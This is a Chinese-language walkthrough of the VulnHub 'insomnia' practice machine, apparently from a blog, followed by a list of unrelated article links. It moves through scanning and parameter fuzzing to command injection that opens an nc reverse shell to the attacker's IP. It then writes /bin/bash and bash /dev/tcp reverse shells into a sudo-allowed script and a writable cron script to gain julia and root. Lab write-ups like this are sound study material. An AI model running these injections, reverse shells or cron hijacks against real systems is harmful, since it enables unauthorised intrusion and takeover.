当前位置: 首页 > news >正文

VulnHub:insomnia

靶机下载地址

信息收集

主机发现和端口扫描

攻击机网段192.168.31.0/24。

# 主机发现
nmap 192.168.31.0/24 -Pn -T4
# 靶机ip:192.168.31.207 端口扫描
nmap 192.168.31.207 -A -p- -T4

经过nmap扫描发现目标主机有http服务,端口是8080。

目录扫描

访问http服务(注意添加端口8080再访问)。

首页访问首先弹出弹窗,输入框默认值是guest,多次尝试后发现这个nickname没什么影响,直接默认值访问。

进入首页后是一个类似于留言框的东西,但是下面的输入框没有提交按钮无法提交。

F12检查页面,在<head>中发现一些js文件和代码。

看过js代码后没什么发现,主要内容是弹窗和对用户输入框内容最大接收长度的。代码过长没啥重要内容就不展示全部。

        // ask user for name with popup prompt    var name = prompt("Enter your nickname:", "guest");// default name is 'Guest'if (!name || name === ' ') {name = "guest";	}// strip tagsname = name.replace(/(<([^>]+)>)/ig,"");// display name on page$("#name-area").html("You are: <span>" + name + "</span>");

访问chat.js看看代码,写了几个函数,看过函数内容后发现都与process.php有关。

访问/process.php。空数组?没有线索。

卡住了,还是使用工具进行目录扫描,想办法在其他目录找到线索。

dirsearch -u http://192.168.31.170:8080 -i 200,301

扫出新路径/administration.php和/start.sh。

访问/start.sh,文件内容如下:

php -S 0.0.0.0:8080

访问/administration.php。页面文字翻译是:你不被允许查看,并且你的行为被记录了。这里应该是可以进行命令执行的,但是缺少参数。

遍历枚举参数

使用wfuzz工具枚举/administration.php的参数。wfuzz一般用于请求参数参数类的模糊测试也可以用来做目录扫描、http请求方法测试等操作。WFUZZ使用教程-CSDN博客

wfuzz -c -u http://192.168.31.170:8080/administration.php?FUZZ=1 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hh 65
  • -c:带颜色输出

  • -u:指定url

  • -w:指定字典

  • --h:隐藏字符为65的响应

补充:wfuzz自带的字典不够强大,爆不出来就换字典,这里用的是seclists字典(含有渗透测试可能用到的字典),有些kali版本默认是没有安装该字典的,安装即可sudo apt install seclists。安装完成后,字典位置是/usr/share/seclists/。

getshell

枚举出参数logfile,试一下命令执行看看有没有回显命令执行结果。

无回显,命令应该是执行了的,尝试反弹shell。

?logfile=whoami;nc -e /bin/bash 192.168.31.218 6666
nc -lvvp 6666
python3 -c 'import pty;pty.spawn("/bin/bash")'

getshell。当前权限低且经过信息收集没有找到flag和有用信息,在家目录发现存在用户julia,想办法拿到julia的shell进一步渗透。

sudo提权

sudo -l   根据命令结果发现/var/www/html/start.sh可以用于提权到julia用户。再看看start.sh的权限,有编辑权限,就可以向start.sh写入/bin/bash,执行start.sh时即可拿到julia的shell。

echo '/bin/bash' >> start.sh

sudo -u julia /bin/bash /var/www/html/start.sh

信息收集,找到user.txt。

Cronjobs提权

在定时任务中找到可以用于提权的脚本/var/cron/check.sh。并且该脚本每时每刻都会运行,检查该脚本权限,有编辑权限,向该脚本追加反弹shell即可拿到root shell。

有很多反弹shell的方式。

# 1
echo 'bash -i >& /dev/tcp/192.168.31.218/8888 0>&1' >> /var/cron/check.sh
​
# 2
echo "nc 192.168.31.218 8888 -e /bin/bash" >> /var/cron/check.sh

找到root flag🎆

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 如何确定企业信息系统的安全保护等级
  • linux内核中list的基本用法
  • ELK日志分析系统部署文档
  • Memcached开发(八):使用PHP进行操作
  • Websocket自动消息回复服务端工具
  • elementUI在手机端使用遇到的问题总结
  • 计算机视觉发展历程
  • docker compose 容器 编排分组
  • 基于python深度学习遥感影像地物分类与目标识别、分割实践技术应用
  • Uniapp鸿蒙项目实战
  • PostgreSQL 中如何解决因大量并发删除和插入操作导致的索引抖动?
  • 用C语言写的一个扫雷小游戏
  • Composition API实现逻辑复用
  • ​探讨元宇宙和VR虚拟现实之间的区别​
  • Matlab课程设计——手指静脉识别项目
  • 【162天】黑马程序员27天视频学习笔记【Day02-上】
  • 03Go 类型总结
  • iOS | NSProxy
  • IOS评论框不贴底(ios12新bug)
  • java多线程
  • JS字符串转数字方法总结
  • laravel with 查询列表限制条数
  • macOS 中 shell 创建文件夹及文件并 VS Code 打开
  • Vue.js源码(2):初探List Rendering
  • XForms - 更强大的Form
  • 表单中readonly的input等标签,禁止光标进入(focus)的几种方式
  • 从tcpdump抓包看TCP/IP协议
  • 老板让我十分钟上手nx-admin
  • 前端技术周刊 2019-01-14:客户端存储
  • 前端之Sass/Scss实战笔记
  • 如何优雅的使用vue+Dcloud(Hbuild)开发混合app
  • 收藏好这篇,别再只说“数据劫持”了
  • 译米田引理
  • 正则学习笔记
  • 走向全栈之MongoDB的使用
  • ​Base64转换成图片,android studio build乱码,找不到okio.ByteString接腾讯人脸识别
  • #[Composer学习笔记]Part1:安装composer并通过composer创建一个项目
  • #14vue3生成表单并跳转到外部地址的方式
  • #define,static,const,三种常量的区别
  • (4.10~4.16)
  • (Matalb时序预测)PSO-BP粒子群算法优化BP神经网络的多维时序回归预测
  • (层次遍历)104. 二叉树的最大深度
  • (翻译)Quartz官方教程——第一课:Quartz入门
  • (附源码)ssm高校运动会管理系统 毕业设计 020419
  • (黑马点评)二、短信登录功能实现
  • (免费领源码)python+django+mysql线上兼职平台系统83320-计算机毕业设计项目选题推荐
  • (五)关系数据库标准语言SQL
  • (中等) HDU 4370 0 or 1,建模+Dijkstra。
  • ******之网络***——物理***
  • ****Linux下Mysql的安装和配置
  • .bashrc在哪里,alias妙用
  • .java 9 找不到符号_java找不到符号
  • .NET Framework、.NET Core 、 .NET 5、.NET 6和.NET 7 和.NET8 简介及区别
  • .NET 线程 Thread 进程 Process、线程池 pool、Invoke、begininvoke、异步回调
  • .NET 依赖注入和配置系统